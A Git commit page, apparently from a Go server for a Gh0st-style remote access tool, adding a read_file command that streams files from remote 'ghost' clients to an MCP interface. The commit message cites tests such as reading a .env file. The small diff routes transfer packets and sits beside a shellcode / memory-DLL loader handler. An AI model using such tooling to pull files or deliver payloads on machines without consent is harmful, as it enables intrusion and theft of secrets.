Feature(Go): read_file over the V2 stream receiver
read_file reuses the list_files handshake: COMMAND_LIST_DRIVE opens the file-manager sub-conn, which then gets [CMD_DOWN_FILES_V2][targetDir\0][path\0][\0] and streams COMMAND_SEND_FILE_V2 chunks plus a COMMAND_FILE_COMPLETE_V2 carrying the whole-file SHA-256. Windows clients open a fresh authenticated sub-conn for the chunks; POSIX clients stream on the file-manager conn itself, so that conn is retired when the call ends rather than right after the request. TOKEN_DOWNLOAD_ERROR on the file-manager conn maps to -32009 / -32010 / -32000 like the Win32 server. Bytes land only in a per-call os.MkdirTemp dir; the client name is checked against the target dir (separator-normalised, path.Clean, so ..\.., absolute, UNC and mixed separators are refused) as defence-in-depth, never used as a path. First chunk enforces the size gate (ReadMax) and rejects multi-file batches, so an expanded directory fails with -32602 instead of returning its first file. Chunks from a sub-conn opened for an earlier call are dropped by connection ID, data sub-conns are closed when the call ends, and a closed sub-conn fails the call fast instead of waiting for the stall watchdog. Text windowing, encoding detection (BOM / UTF-8 / GBK / explicit / latin1) and EOL handling mirror McpServer.cpp. Verified with the Debug ghost on Windows 11 and the WSL Ubuntu ghost: .env text plus newline is byte-identical, sha256 equals SHA-256 over the file, windows/GBK/empty/ max_bytes/directory/size-gate/missing-path/POSIX-path cases all pass. Co-Authored-By: deepseek-flash
This commit is contained in:
1 parent
d7accf1d30
commit
9ce1a58bc3
7 files changed
+1790
-71
No files matched your search
@@ -183,6 +183,15 @@ func (h *MyHandler) OnReceive(ctx *connection.Context, data []byte) {
|
||||
return
|
||||
}
|
||||
h.log.Info("Unhandled command %d from client %d", cmd, ctx.ID)
|
||||
case protocol.CommandSendFileV2, protocol.CommandFileCompleteV2, protocol.TokenDownloadError:
|
||||
// read_file's V2 transfer: chunks and the completion packet arrive on an
|
||||
// authenticated sub-conn (a fresh one on Windows, the file-manager one on
|
||||
// POSIX), the download error on the file-manager sub-conn. MCP routes
|
||||
// them to the pending session for the device and writes the bytes itself.
|
||||
if h.mcp != nil && h.mcp.OnTransferPacket(ctx, data) {
|
||||
return
|
||||
}
|
||||
h.log.Info("Unhandled command %d from client %d", cmd, ctx.ID)
|
||||
case protocol.CmdSockDllLoader:
|
||||
// SOCKET_DLLLOADER (210): the shellcode / memory-DLL loader asks for the
|
||||
// full DLL payload before it can load the client. Serving it is the MFC
|
||||
|
||||
Reference in new issue
Block a user